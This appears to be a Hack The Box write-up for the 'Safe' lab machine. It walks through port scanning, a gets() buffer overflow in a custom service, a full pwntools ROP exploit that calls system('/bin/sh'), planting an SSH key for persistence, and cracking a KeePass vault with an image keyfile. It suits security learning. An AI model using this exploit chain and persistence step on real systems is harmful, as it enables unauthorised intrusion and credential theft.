Safe - Hack The Box
Safe was a bit of a surprise because I didn’t expect a 20 points box to start with a buffer overflow requiring ropchains. The exploit is pretty straightforward since I have the memory address of the system function and I can call it to execute a shell. The privesc was a breeze: there’s a keepass file with a bunch of images in a directory. I simply loop through all the images until I find the right keyfile that I can use with John the Ripper to crack the password and recover the root password from the keepass file.
Summary
- I find a custom service running on port 1337 that has a buffer overflow
- I create an exploit using ROP for the vulnerable service and gain RCE
- Once I have a shell I find a KeePass vault with a bunch of image files
- I can crack the password for the KeePass vault (one of the image file is the keyfile) which contains the root password
Recon
I’m going to use masscan this time to speed up the portscan:
root@kali:~# masscan -p1-65535 10.10.10.147 --rate 1000 ---open --banners -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-29 01:13:24 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 1337/tcp on 10.10.10.147
Discovered open port 80/tcp on 10.10.10.147
Discovered open port 22/tcp on 10.10.10.147
Additional scripts and banner checks with nmap now that I have the list of ports open:
root@kali:~# nmap -p22,80,1337 -sC -sV 10.10.10.147
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-28 21:17 EDT
Nmap scan report for 10.10.10.147
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP:
| 21:14:29 up 5:00, 1 user, load average: 0.01, 0.01, 0.00
[...]
Observations:
- Standard SSH and Apache combo running. I’ll make sure to enumerate that HTTP page next.
- There’s a weird service running on port 1337. This is not a standard port so I’m probably looking at a custom service created for the purpose of this box.
First pass at checking the Apache service
Looks like the default Debian Apache2 webpage is up on port 80.
I get the same default page if I add safe.htb
to my local hostfile. Next, I’ll run Nikto to check for low hanging fruits like robots.txt
and dirbust using gobuster and big.txt
:
root@kali:~# nikto -host 10.10.10.147
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.147
+ Target Hostname: 10.10.10.147
+ Target Port: 80
+ Start Time: 2019-07-28 21:22:32 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2a23, size: 588c4cc4e54b5, mtime: gzip
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
+ OSVDB-3092: /manual/: Web server manual found.
[...]
root@kali:~# gobuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -u http://10.10.10.147
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.147
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/07/28 21:22:53 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/manual (Status: 301)
/server-status (Status: 403)
I didn’t find anything interesting. I’ll go check out that other port 1337 but I keep in mind that I should fuzz for additional vhosts later if I don’t find anything else.
Custom service on port 1337
The service on port 1337 shows the output of uptime then echoes back whatever is typed by the user. The connection drops after the input is echoed back.
I normally go for simple command injection payloads first and since this is a 20 points this is a likely candidate for that sort of stuff. Unfortunately, the box doesn’t seem to be calling echo or any other Linux binary to echo the input back. I wasn’t able to escape any payload.
Next, I try a long string of characters and see that the connection drops without echoing back the data.
So I’m probably looking at a buffer overflow exploit here. I don’t have the binary to analyze and I don’t know how to exploit a service blind. The service doesn’t leak any memory data when it crashes, nor do I see any menu or commands that I can use to access additional features.
I’ll go back to the webpage and look for clues in the HTML comments. It’s not realistic at all but I find a link to the binary in the comments:
I can download the file at http://10.10.10.147/myapp
It’s a 64 bits ELF:
With gdb and the gef extension, I check what kind of protections are enabled and notice that NX is enabled but PIE isn’t:
I don’t know if ASLR is enabled or not on the box though. Time to disassemble the binary and understand how the program works. I’ll use radare2 for this:
The sym.test
and sym.main
are the ones I’m gonna look at first:
The sym.main
function is pretty straighforward:
- It allocates 112 bytes on the stack
- It executes
/usr/bin/uptime
- It prints
What do you want me to echo back?
- It reads 1000 bytes from the user using
gets
. This is where the buffer overflow is: it reads more information than the buffer allocated on the stack can store. - It echoes back the user input using
puts
The other function sym.test
doesn’t do anything useful at first glance: it just moves a few registers and jumps to the memory address contained in the r13 register. Normally, functions return with ret
instruction but this one doesn’t, very odd.
Before working on an exploit, I want to confirm the exact offset for the overflow.
I’ll generate a payload of 112 A’s (as per the disassembly analysis) + 8 bytes containing B. If I’m right, the B’s will land into RBP after the function returns.
When I copy/paste the payload in the program, it crashes and I can see the $rbp register contains “BBBBBBBB”.
This confirms that the offset to control RIP is 112 + 8: 120 bytes.
Building the exploit
I can’t just put a shellcode on the stack because NX is enabled so the stack isn’t executable. This is a 20 points box so the exploit is likely something pretty basic and won’t require advanced ropping skills.
I have few things I can use to my advantage:
- The input uses the
gets
function and it doesn’t null-terminates so I can use null bytes in my payload - The
system
function is present in the code so there’s a PLT/GOT entry for this - PIE isn’t enabled so the address for
system
doesn’t change
Using objdump
I can find the address for system
: 0x401040
root@kali:~/htb/machines/safe# objdump -d myapp
0000000000401040 <system@plt>:
401040: ff 25 da 2f 00 00 jmpq *0x2fda(%rip) # 404020 <system@GLIBC_2.2.5>
401046: 68 01 00 00 00 pushq $0x1
40104b: e9 d0 ff ff ff jmpq 401020 <.plt>
Checking the man page for system
, I see that it takes a single parameter:
NAME
system - execute a shell command
SYNOPSIS
#include <stdlib.h>
int system(const char *command);
The x86-64 calling convention for gcc compiled binaries is RDI, RSI, RDX, RCX for the first four function arguments. To control the binary called by system, I need to point RDI to the memory address of the /bin/sh
string. I’ll switch back to gdb / gef to build the exploit.
I’ll put a breakpoint on the return instruction from the main function and check what the RDI register is pointing to:
RDI has a null-value so it doesn’t point to a memory location I control and therefore is useless at the moment.
Next, I’m gonna use ropper -f myapp
to look for gadgets I can use to control registers:
I’ll use the gadget at 0x401206
to put the address of system
into r13
. I don’t care about r14
and r15
so I can put any dummy values here. The trick to get the address of /bin/sh
is in the sym.test
function. The first instruction pushes rbp
(which contains the address of /bin/sh
) on the stack so it updates the rsp
address. The mov rdi, rsp
instruction in the fonction takes care of copying the address of rsp
into rdi
. At that point I’m all set and when the function jumps to r13
it will execute system
with /bin/sh
as the parameter.
The final exploit looks like this:
from pwn import *
p = remote("safe.htb", 1337)
#p = process("./myapp")
context(os="linux", arch="amd64")
context.log_level = "DEBUG"
JUNK = "A" * 112
JUNK += "/bin/sh\x00" # RBP
"""
ROP chain to populate r13 with system()'s address:
0x0000000000401206: pop r13; pop r14; pop r15; ret;
sym.test() -> Need to JMP to address of system at the end
(fcn) sym.test 10
sym.test ();
0x00401152 55 push rbp
0x00401153 4889e5 mov rbp, rsp
0x00401156 4889e7 mov rdi, rsp
0x00401159 41ffe5 jmp r13
"""
payload = JUNK + p64(0x0000000000401206) # ROP chain gadget
payload += p64(0x401040) # pop r13
payload += "BBBBBBBB" # pop r14
payload += "CCCCCCCC" # pop r15
payload += p64(0x00401152) # sym.test
p.recvline()
p.sendline(payload)
p.interactive()
Running the exploit, I’m able to land a shell on the box:
Because the SSH service is listening, I can dump my SSH public key in /home/user/.ssh/authorized_keys
:
And then I can SSH in and get a proper shell:
Privesc
The user directory has a keepass file: MyPasswords.kdbx
and a bunch of image files:
I’ll copy those files locally so I can attempt to crack the Keepass file:
I can’t crack the Keepass file just by itself:
But I’m gonna try all those .jpg files as keyfiles:
IMG_0547.JPG is the keyfile and bullshit
is the password
Using kpcli
I can open the Keepass file and view the password for root:
I can login and su
to root: